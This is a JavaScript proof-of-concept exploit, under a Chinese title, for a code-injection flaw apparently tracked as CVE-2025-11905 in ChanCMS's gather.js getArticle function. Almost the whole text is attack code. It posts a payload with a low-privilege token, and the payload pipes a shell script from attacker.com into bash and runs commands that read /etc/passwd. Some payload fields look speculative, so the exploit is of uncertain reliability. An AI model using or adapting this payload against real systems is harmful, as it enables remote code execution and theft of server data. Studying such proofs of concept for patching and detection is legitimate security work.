CVE-2025-11905：ChanCMS gather.js getArticle函数代码注入漏洞

// CVE-2025-11905 - ChanCMS gather.js getArticle Code Injection PoC // Target: yanyutao0402 ChanCMS <= 3.3.2 // Vulnerable file: app\modules\cms\controller\gather.js // Vulnerable function: getArticle const axios = require('axios'); // Target configuration const TARGET_URL = 'http://target-chancms-site.com'; const LOW_PRIV_TOKEN = 'your_low_privilege_session_token'; // Low privilege authenticated session // Malicious payload for code injection // The getArticle function processes input parameters without proper sanitization, // allowing arbitrary code execution on the server side. const maliciousPayload = { // Inject malicious code through the article collection parameters url: 'http://attacker.com/malicious_article', rule: '1; require("child_process").exec("curl http://attacker.com/shell.sh | bash"); //', // Additional parameters that may be processed by getArticle title: '$(require("child_process").execSync("id").toString())', content: '`require("child_process").execSync("cat /etc/passwd")`' }; async function exploit() { try { // Send the exploit request to the vulnerable getArticle endpoint const response = await axios.post( `${TARGET_URL}/cms/gather/getArticle`, maliciousPayload, { headers: { 'Cookie': `token=${LOW_PRIV_TOKEN}`, 'Content-Type': 'application/json' } } ); console.log('[+] Exploit sent successfully'); console.log('[+] Response:', response.data); } catch (error) { console.error('[-] Exploit failed:', error.message); } } exploit();